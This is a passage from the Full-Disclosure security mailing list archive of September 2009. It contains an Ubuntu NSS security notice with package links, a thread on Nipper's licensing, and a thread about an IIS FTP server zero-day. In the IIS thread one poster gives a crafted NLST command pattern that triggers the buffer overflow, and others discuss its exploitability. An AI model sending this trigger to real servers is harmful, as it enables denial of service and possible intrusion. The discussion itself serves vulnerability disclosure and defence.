Nipper 	Up to 1000 devices 	1 Year 	?5000
Nipper 	Unlimited devices 	1 Year 	?7000

>From $161 bucks a year for 5 devices up to $11312 for unlimited per
year...looks like the dev wanted to make a lot of money :D  Good luck dev.

James


From kees at ubuntu.com  Wed Sep  2 02:16:13 2009
From: kees at ubuntu.com (Kees Cook)
Date: Tue, 1 Sep 2009 18:16:13 -0700
Subject: [Full-disclosure] [USN-810-2] NSS regression
Message-ID: <20090902011613.GZ10947@outflux.net>

===========================================================
Ubuntu Security Notice USN-810-2         September 02, 2009
nss regression
https://launchpad.net/bugs/409864
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 8.04 LTS
Ubuntu 8.10
Ubuntu 9.04

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 8.04 LTS:
  libnss3-1d                      3.12.3.1-0ubuntu0.8.04.2

Ubuntu 8.10:
  libnss3-1d                      3.12.3.1-0ubuntu0.8.10.2

Ubuntu 9.04:
  libnss3-1d                      3.12.3.1-0ubuntu0.9.04.2

After a standard system upgrade you need to restart any applications that
use NSS, such as Firefox, to effect the necessary changes.

Details follow:

USN-810-1 fixed vulnerabilities in NSS.  Jozsef Kadlecsik noticed that
the new libraries on amd64 did not correctly set stack memory flags,
and caused applications using NSS (e.g. Firefox) to have an executable
stack. This reduced the effectiveness of some defensive security
protections.  This update fixes the problem.

We apologize for the inconvenience.

Original advisory details:

 Moxie Marlinspike discovered that NSS did not properly handle regular
 expressions in certificate names. A remote attacker could create a
 specially crafted certificate to cause a denial of service (via application
 crash) or execute arbitrary code as the user invoking the program.
 (CVE-2009-2404)

 Moxie Marlinspike and Dan Kaminsky independently discovered that NSS did
 not properly handle certificates with NULL characters in the certificate
 name. An attacker could exploit this to perform a man in the middle attack
 to view sensitive information or alter encrypted communications.
 (CVE-2009-2408)

 Dan Kaminsky discovered NSS would still accept certificates with MD2 hash
 signatures. As a result, an attacker could potentially create a malicious
 trusted certificate to impersonate another site. (CVE-2009-2409)


Updated packages for Ubuntu 8.04 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/n/nss/nss_3.12.3.1-0ubuntu0.8.04.2.diff.gz
      Size/MD5:    37655 e64b043a01d0e7daf6bb65204f26d8b0
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/nss_3.12.3.1-0ubuntu0.8.04.2.dsc
      Size/MD5:     1008 8a24bd65b71653c370ee2465fb0e5a72
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/nss_3.12.3.1.orig.tar.gz
      Size/MD5:  5316068 cc5607243fdfdbc80ebbbf6dbb33f784

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.8.04.2_amd64.deb
      Size/MD5:    18338 5120cc7f89e608b0b6ff8555cbe30053
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.8.04.2_amd64.deb
      Size/MD5:  3166314 23ff5a3e893029f31a09f4ab76eb4859
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.8.04.2_amd64.deb
      Size/MD5:  1147172 bc387e5fb7f699ba9b5d60f1fde92264
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.8.04.2_amd64.deb
      Size/MD5:   257894 dc77d3e6ab408d4637387e4bea4af785
    http://security.ubuntu.com/ubuntu/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.8.04.2_amd64.deb
      Size/MD5:   312636 e888713d46b0c771ab736b28c77dc131

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.8.04.2_i386.deb
      Size/MD5:    18306 9d586744b66ee55defa95ffa440768ce
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.8.04.2_i386.deb
      Size/MD5:  3012638 2461ab65482203195c2dcfc66af2f4ee
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.8.04.2_i386.deb
      Size/MD5:  1040140 47882c0d3d2f5b21c9fe82babb8f440e
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.8.04.2_i386.deb
      Size/MD5:   254986 203a63ee2717335eceb721facaf1508d
    http://security.ubuntu.com/ubuntu/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.8.04.2_i386.deb
      Size/MD5:   295214 66e9264a666a83fca9847414d48ac760

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.8.04.2_lpia.deb
      Size/MD5:    18298 feef4b1491cd185b5f3288294823f5f3
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.8.04.2_lpia.deb
      Size/MD5:  3042042 377b3815135cfd7282063efb9e51230e
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.8.04.2_lpia.deb
      Size/MD5:  1016320 44680d617fd1ab1cb2da49f6d9e97aa1
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.8.04.2_lpia.deb
      Size/MD5:   253690 aabbf2d4e97c7b2484bd204d164e24d0
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.8.04.2_lpia.deb
      Size/MD5:   292588 4c967b30f7a3fb57d8854df8a79bd379

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.8.04.2_powerpc.deb
      Size/MD5:    20786 9ce81e2cea44fef0f6faf2fdd5171623
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.8.04.2_powerpc.deb
      Size/MD5:  3125854 697fffc58a744fe15f7fd9f168ca9733
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.8.04.2_powerpc.deb
      Size/MD5:  1143970 8f92496cb9f162cc157ebe989e2b3fb0
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.8.04.2_powerpc.deb
      Size/MD5:   256716 08d9924b808f9ceb5054fa96b83ed1ab
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.8.04.2_powerpc.deb
      Size/MD5:   325026 7c4cee2fb1e099aa8b04b20fbad7566a

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.8.04.2_sparc.deb
      Size/MD5:    18408 8db62c70395cff75f2bb89de95e73881
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.8.04.2_sparc.deb
      Size/MD5:  2834732 1f0c58ae1fae93bff8544a174ff536bb
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.8.04.2_sparc.deb
      Size/MD5:  1020050 d162fccf68e82cf9ebced93bb46f2809
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.8.04.2_sparc.deb
      Size/MD5:   251696 9cc85bbdf62ea769b2cd60e1052aabd4
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.8.04.2_sparc.deb
      Size/MD5:   299608 557d429224fdcc935e71fc64b3ac47ff

Updated packages for Ubuntu 8.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/n/nss/nss_3.12.3.1-0ubuntu0.8.10.2.diff.gz
      Size/MD5:    33119 fe83a32ef210370566ccb411aa48fe54
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/nss_3.12.3.1-0ubuntu0.8.10.2.dsc
      Size/MD5:     1412 451fa76bfb507e1269fee26218141551
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/nss_3.12.3.1.orig.tar.gz
      Size/MD5:  5316068 cc5607243fdfdbc80ebbbf6dbb33f784

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.8.10.2_amd64.deb
      Size/MD5:  3310704 efec40c9fdc2b0ce66fda361c1aba543
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.8.10.2_amd64.deb
      Size/MD5:  1195180 63cee7f4eda8ffb4c0c3523ac9c6ad91
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.8.10.2_amd64.deb
      Size/MD5:   257682 05088498123a0736834f5c3c22c5cf46
    http://security.ubuntu.com/ubuntu/pool/universe/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.8.10.2_amd64.deb
      Size/MD5:    18406 ba1d9dae921d0b52ce87adf573eded44
    http://security.ubuntu.com/ubuntu/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.8.10.2_amd64.deb
      Size/MD5:   317148 db5eeeea33c98f32dd12b5e76b745355

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.8.10.2_i386.deb
      Size/MD5:  3137376 b6f8c176fb6d3805f329550e939a7c58
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.8.10.2_i386.deb
      Size/MD5:  1077028 6ce44322395faa4a3fcbdde41ee5e68e
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.8.10.2_i386.deb
      Size/MD5:   254812 771285009e0fdbb6ad1272d631906204
    http://security.ubuntu.com/ubuntu/pool/universe/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.8.10.2_i386.deb
      Size/MD5:    18370 37815dfc4cfe17039df586a98428c93d
    http://security.ubuntu.com/ubuntu/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.8.10.2_i386.deb
      Size/MD5:   300312 898cf2f8d5eefe3b3beca32df52b94bf

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.8.10.2_lpia.deb
      Size/MD5:  3173916 13a0a5a89a4bf8299357ebd828112ddf
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.8.10.2_lpia.deb
      Size/MD5:  1050862 a5ed8d7e53cc98fe1ebe24e33994cd53
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.8.10.2_lpia.deb
      Size/MD5:   253322 db070f03d5f4e0fa7ca62b4076feb1a5
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.8.10.2_lpia.deb
      Size/MD5:    18346 f3cb5c7f8c0cccaeced8d8bbc63ac9b3
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.8.10.2_lpia.deb
      Size/MD5:   296258 ee56f8195c14ebe9a3b30e26c9a31dd8

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.8.10.2_powerpc.deb
      Size/MD5:  3284490 3e9567373c1d8a407184c3454cdbdee2
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.8.10.2_powerpc.deb
      Size/MD5:  1165908 aea197dd9fbb3c5cd9e76bd8a7411214
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.8.10.2_powerpc.deb
      Size/MD5:   256530 7a3e87d818c828f4d4b98aff841f77cf
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.8.10.2_powerpc.deb
      Size/MD5:    20780 32b3073b20ab252ccf7892d92b2dd76f
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.8.10.2_powerpc.deb
      Size/MD5:   320830 cd055119a68308f42a29fe551217819b

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.8.10.2_sparc.deb
      Size/MD5:  2942786 dc36959a5a02fdc2068e10bbf811a2b3
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.8.10.2_sparc.deb
      Size/MD5:  1038452 147a34131c51deb6bb74264eadb1c3ba
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.8.10.2_sparc.deb
      Size/MD5:   251344 ff7eff0cd42a95f044ed3cc539d61532
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.8.10.2_sparc.deb
      Size/MD5:    18506 5fc6b96c8d8555457e39b6b0cdd52713
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.8.10.2_sparc.deb
      Size/MD5:   301552 95ef3e3b2679ceea72e97cfe0ea12762

Updated packages for Ubuntu 9.04:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/n/nss/nss_3.12.3.1-0ubuntu0.9.04.2.diff.gz
      Size/MD5:    36540 f42b1d62ed98ee110c10954b55902c63
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/nss_3.12.3.1-0ubuntu0.9.04.2.dsc
      Size/MD5:     1412 b85ff4f8dbe0432df858f415bf48bff0
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/nss_3.12.3.1.orig.tar.gz
      Size/MD5:  5316068 cc5607243fdfdbc80ebbbf6dbb33f784

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.9.04.2_amd64.deb
      Size/MD5:  3309826 9dcbef4357653044d8b25731a1d130b9
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.9.04.2_amd64.deb
      Size/MD5:  1196818 929ca127030a1c1d42f662f5692da089
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.9.04.2_amd64.deb
      Size/MD5:   258356 4fadbc6290fc184158a9a724cf82940f
    http://security.ubuntu.com/ubuntu/pool/universe/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.9.04.2_amd64.deb
      Size/MD5:    17536 4369982ce7f6ce3e9e899d6506114911
    http://security.ubuntu.com/ubuntu/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.9.04.2_amd64.deb
      Size/MD5:   317782 661b518dd87a1b7057c3b36a6a0cb746

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.9.04.2_i386.deb
      Size/MD5:  3137640 bed2f6981fa4c243873b999fc5c7502c
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.9.04.2_i386.deb
      Size/MD5:  1078426 512252fb2ac440c37aa899392776d581
    http://security.ubuntu.com/ubuntu/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.9.04.2_i386.deb
      Size/MD5:   255444 2cd57c0a08300355ee3e1afd8e161923
    http://security.ubuntu.com/ubuntu/pool/universe/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.9.04.2_i386.deb
      Size/MD5:    17534 4dd67a9b274b61230afbfe5b40437184
    http://security.ubuntu.com/ubuntu/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.9.04.2_i386.deb
      Size/MD5:   300900 c20821c5fa989f906188e73e557876b3

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.9.04.2_lpia.deb
      Size/MD5:  3171624 9698ffc8645b5ecdb03746d567bf575f
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.9.04.2_lpia.deb
      Size/MD5:  1052256 7c3f11b222fc420ea53b02ce30aa13e0
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.9.04.2_lpia.deb
      Size/MD5:   253972 c734ddc4fa68d6bdbae8bfab4a0b44af
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.9.04.2_lpia.deb
      Size/MD5:    17530 78eb3d97799199999c96f44c33a91487
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.9.04.2_lpia.deb
      Size/MD5:   296900 483e370ded82ed6a038fb719726d5524

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.9.04.2_powerpc.deb
      Size/MD5:  3282350 7c9b8a3b8754b3ced78e56e4561e0ef5
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.9.04.2_powerpc.deb
      Size/MD5:  1167974 0d5b73714c4bc7803889a383d2979fdb
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.9.04.2_powerpc.deb
      Size/MD5:   257192 8369a4b0fa1846dea82673ad50ff77a6
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.9.04.2_powerpc.deb
      Size/MD5:    17544 ea286e5376301bb7d6066153b23834fa
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.9.04.2_powerpc.deb
      Size/MD5:   321510 4af0bf6942079e5d3fa4119f43a85ab7

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d-dbg_3.12.3.1-0ubuntu0.9.04.2_sparc.deb
      Size/MD5:  2942220 4d7c1d6e6b96d5b40f974a635c6a7f2d
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-1d_3.12.3.1-0ubuntu0.9.04.2_sparc.deb
      Size/MD5:  1039542 5cb75a79da1dd8fbebecd78534ed3736
    http://ports.ubuntu.com/pool/main/n/nss/libnss3-dev_3.12.3.1-0ubuntu0.9.04.2_sparc.deb
      Size/MD5:   251998 00b0e28d20dd45068e1403d7e3191fab
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-0d_3.12.3.1-0ubuntu0.9.04.2_sparc.deb
      Size/MD5:    17532 402a209aaebb2ab84200d5bcf1145c0d
    http://ports.ubuntu.com/pool/universe/n/nss/libnss3-tools_3.12.3.1-0ubuntu0.9.04.2_sparc.deb
      Size/MD5:   301942 f5655e1c3da7303bde30982520882422

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 235 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090901/7eeaed75/attachment.bin 

From A.L.M.Buxey at lboro.ac.uk  Wed Sep  2 09:16:35 2009
From: A.L.M.Buxey at lboro.ac.uk (Alan Buxey)
Date: Wed, 2 Sep 2009 09:16:35 +0100
Subject: [Full-disclosure] Nipper licensing
In-Reply-To: <efbe05357777d66ff5323b7b417f390e.squirrel@www.slave-tothe-box.net>
References: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-1105781716-@bda565.bisx.prod.on.blackberry>
	<efbe05357777d66ff5323b7b417f390e.squirrel@www.slave-tothe-box.net>
Message-ID: <20090902081635.GA6087@lboro.ac.uk>

Hi,

> Nipper 	Unlimited devices 	1 Year 	?7000

<snip>

ouch. a couple of years ago we had some home-brew code doing the job. Nipper
came along...was free..and did everything we did + a little more.

but now it looks like we'll be picking up our old Perl code and fixing it up
to do everything that Nipper does - and a little more.

:-(


alan


From lists at keamera.org  Wed Sep  2 09:33:47 2009
From: lists at keamera.org (Guido Landi)
Date: Wed, 02 Sep 2009 10:33:47 +0200
Subject: [Full-disclosure] Microsoft Internet Information Server ftpd
 zeroday
In-Reply-To: <1103053067.20090831210418@SECURITY.NNOV.RU>
References: <72f8221d0908310434p54cf96bbw62bbcc7f733b69aa@mail.gmail.com>	<363819697.20090831182112@Zoller.lu>
	<1103053067.20090831210418@SECURITY.NNOV.RU>
Message-ID: <4A9E2DEB.7090107@keamera.org>

no, MKDIR is *not* required, also write access is *not* required.

Assuming a directory with a name that starts with "A" exists and that is
at least 14 chars long, this pattern will trigger the overflow:


NLST [Ax206]*/../A*/../A*/../A*/../A*/../A*/../A*/../A*/\r\n


At least on win2k3. Therefore, the workarounds for kb975191 on
microsoft.com are wrong.



Guido Landi

Vladimir '3APA3A' Dubrovin wrote:
> Dear Thierry Zoller,
> 
> I   think   yes,   MKDIR   is   required.  It  should  be  variation  of
> S99-003/MS02-018.  fuzzer  should  be very smart to create directory and
> user  both  oversized buffer and ../ in NLST - it makes path longer than
> MAX_PATH with existing directory.
> 
> --Monday, August 31, 2009, 8:21:12 PM, you wrote to full-disclosure at lists.grok.org.uk:
> 
> 
> TZ> Confirmed.
> 
> TZ> Ask  yourselves why your fuzzers haven't found that one - Combination of
> TZ> MKDIR are required before reaching vuln code ?
> 
> 
> 
> 
> 


From badmotherfsckr at gmail.com  Wed Sep  2 09:35:16 2009
From: badmotherfsckr at gmail.com (BMF)
Date: Wed, 2 Sep 2009 01:35:16 -0700
Subject: [Full-disclosure] Nipper licensing
In-Reply-To: <20090902081635.GA6087@lboro.ac.uk>
References: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-1105781716-@bda565.bisx.prod.on.blackberry>
	<efbe05357777d66ff5323b7b417f390e.squirrel@www.slave-tothe-box.net>
	<20090902081635.GA6087@lboro.ac.uk>
Message-ID: <ff6682c60909020135j72f5524cm6fb61978e6d0a9bf@mail.gmail.com>

On Wed, Sep 2, 2009 at 1:16 AM, Alan Buxey <A.L.M.Buxey at lboro.ac.uk> wrote:

> ouch. a couple of years ago we had some home-brew code doing the job.
> Nipper
> came along...was free..and did everything we did + a little more.
>
> but now it looks like we'll be picking up our old Perl code and fixing it
> up
> to do everything that Nipper does - and a little more.
>

Was Nipper not available as source and licensed so it could be forked in an
event such as this? If not, consider it an object lesson in free as in beer
vs free as in speech.

BMF
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090902/91cf6b32/attachment.html 

From 3APA3A at SECURITY.NNOV.RU  Wed Sep  2 10:00:16 2009
From: 3APA3A at SECURITY.NNOV.RU (Vladimir '3APA3A' Dubrovin)
Date: Wed, 2 Sep 2009 13:00:16 +0400
Subject: [Full-disclosure] Microsoft Internet Information Server ftpd
	zeroday
In-Reply-To: <4A9E2DEB.7090107@keamera.org>
References: <72f8221d0908310434p54cf96bbw62bbcc7f733b69aa@mail.gmail.com>
	<363819697.20090831182112@Zoller.lu>
	<1103053067.20090831210418@SECURITY.NNOV.RU>
	<4A9E2DEB.7090107@keamera.org>
Message-ID: <702248252.20090902130016@SECURITY.NNOV.RU>

Dear Guido Landi,

For  DoS  - yes, you can use existing file, but it's (almost) impossible
to  create  reliable  code  excution  exploit  since you can not (fully)
control  return address, like required in JMP ESP technique used in this
exploit.

--Wednesday, September 2, 2009, 12:33:47 PM, you wrote to 3APA3A at SECURITY.NNOV.RU:

GL> no, MKDIR is *not* required, also write access is *not* required.

GL> Assuming a directory with a name that starts with "A" exists and that is
GL> at least 14 chars long, this pattern will trigger the overflow:


GL> NLST [Ax206]*/../A*/../A*/../A*/../A*/../A*/../A*/../A*/\r\n


GL> At least on win2k3. Therefore, the workarounds for kb975191 on
GL> microsoft.com are wrong.



GL> Guido Landi

GL> Vladimir '3APA3A' Dubrovin wrote:
>> Dear Thierry Zoller,
>> 
>> I   think   yes,   MKDIR   is   required.  It  should  be  variation  of
>> S99-003/MS02-018.  fuzzer  should  be very smart to create directory and
>> user  both  oversized buffer and ../ in NLST - it makes path longer than
>> MAX_PATH with existing directory.
>> 
>> --Monday, August 31, 2009, 8:21:12 PM, you wrote to
>> full-disclosure at lists.grok.org.uk:
>> 
>> 
>> TZ> Confirmed.
>> 
>> TZ> Ask  yourselves why your fuzzers haven't found that one - Combination of
>> TZ> MKDIR are required before reaching vuln code ?
>> 
>> 
>> 
>> 
>> 

GL> _______________________________________________
GL> Full-Disclosure - We believe in it.
GL> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
GL> Hosted and sponsored by Secunia - http://secunia.com/


-- 
Skype: Vladimir.Dubrovin
~/ZARAZA http://securityvulns.com/
???? ??? ?????? ??????, ??? ????????? ????? ?????. (???)


From lists at keamera.org  Wed Sep  2 10:14:21 2009
From: lists at keamera.org (Guido Landi)
Date: Wed, 02 Sep 2009 11:14:21 +0200
Subject: [Full-disclosure] Microsoft Internet Information Server ftpd
 zeroday
In-Reply-To: <702248252.20090902130016@SECURITY.NNOV.RU>
References: <72f8221d0908310434p54cf96bbw62bbcc7f733b69aa@mail.gmail.com>
	<363819697.20090831182112@Zoller.lu>
	<1103053067.20090831210418@SECURITY.NNOV.RU>
	<4A9E2DEB.7090107@keamera.org>
	<702248252.20090902130016@SECURITY.NNOV.RU>
Message-ID: <4A9E376D.7060100@keamera.org>

Dear Vladimir,

"almost" is often enough :)

btw, it was about triggering the vuln, not about exploiting it.


Guido Landi

Vladimir '3APA3A' Dubrovin wrote:
> Dear Guido Landi,
> 
> For  DoS  - yes, you can use existing file, but it's (almost) impossible
> to  create  reliable  code  excution  exploit  since you can not (fully)
> control  return address, like required in JMP ESP technique used in this
> exploit.
> 
> --Wednesday, September 2, 2009, 12:33:47 PM, you wrote to 3APA3A at SECURITY.NNOV.RU:
> 
> GL> no, MKDIR is *not* required, also write access is *not* required.
> 
> GL> Assuming a directory with a name that starts with "A" exists and that is
> GL> at least 14 chars long, this pattern will trigger the overflow:
> 
> 
> GL> NLST [Ax206]*/../A*/../A*/../A*/../A*/../A*/../A*/../A*/\r\n
> 
> 
> GL> At least on win2k3. Therefore, the workarounds for kb975191 on
> GL> microsoft.com are wrong.
> 
> 
> 
> GL> Guido Landi
> 
> GL> Vladimir '3APA3A' Dubrovin wrote:
>>> Dear Thierry Zoller,
>>>
>>> I   think   yes,   MKDIR   is   required.  It  should  be  variation  of
>>> S99-003/MS02-018.  fuzzer  should  be very smart to create directory and
>>> user  both  oversized buffer and ../ in NLST - it makes path longer than
>>> MAX_PATH with existing directory.
>>>
>>> --Monday, August 31, 2009, 8:21:12 PM, you wrote to
>>> full-disclosure at lists.grok.org.uk:
>>>
>>>
>>> TZ> Confirmed.
>>>
>>> TZ> Ask  yourselves why your fuzzers haven't found that one - Combination of
>>> TZ> MKDIR are required before reaching vuln code ?
>>>
>>>
>>>
>>>
>>>
> 
> GL> _______________________________________________
> GL> Full-Disclosure - We believe in it.
> GL> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> GL> Hosted and sponsored by Secunia - http://secunia.com/
> 
> 


From snakebyte at gmx.de  Wed Sep  2 10:48:42 2009
From: snakebyte at gmx.de (Eric Sesterhenn)
Date: Wed, 2 Sep 2009 11:48:42 +0200
Subject: [Full-disclosure] Nipper licensing
In-Reply-To: <ff6682c60909020135j72f5524cm6fb61978e6d0a9bf@mail.gmail.com>
References: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-1105781716-@bda565.bisx.prod.on.blackberry>
	<efbe05357777d66ff5323b7b417f390e.squirrel@www.slave-tothe-box.net>
	<20090902081635.GA6087@lboro.ac.uk>
	<ff6682c60909020135j72f5524cm6fb61978e6d0a9bf@mail.gmail.com>
Message-ID: <20090902094842.GA22491@alice>

* BMF (badmotherfsckr at gmail.com) wrote:
> On Wed, Sep 2, 2009 at 1:16 AM, Alan Buxey <A.L.M.Buxey at lboro.ac.uk> wrote:
> 
> > ouch. a couple of years ago we had some home-brew code doing the job.
> > Nipper
> > came along...was free..and did everything we did + a little more.
> >
> > but now it looks like we'll be picking up our old Perl code and fixing it
> > up
> > to do everything that Nipper does - and a little more.
> >
> 
> Was Nipper not available as source and licensed so it could be forked in an
> event such as this? If not, consider it an object lesson in free as in beer
> vs free as in speech.

LICENSE file for nipper-cli 0.12.0 and libnipper 0.12.6 states:

THIS IS IMPORTANT:

libNipper and all other Nipper products are licensed under the GPL version 3
with the following exceptions.

1. The code cannot be used as part of a commercial product. A commercial 
   license can be arranged for the integration of Nipper with a commercial
   product. Contact fizz at titania.co.uk for commercial licensing information.

2. Any code that integrates Nipper MUST display the following copyright 
   information with the programs own copyright information:

   Nipper Copyright (C) 2006 - 2008 by Ian Ventura-Whiting

   In order to maintain the latest copyright information for each libNipper
   release, this information can be extracted using the API.


Nipper is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR 
A PARTICULAR PURPOSE. See the GNU General Public License v3 (below) for more
details.

Regards, Eric


From fizz at titania.co.uk  Wed Sep  2 12:16:31 2009
From: fizz at titania.co.uk (Fizz)
Date: Wed, 2 Sep 2009 12:16:31 +0100
Subject: [Full-disclosure] Nipper licensing
In-Reply-To: <20090902094842.GA22491@alice>
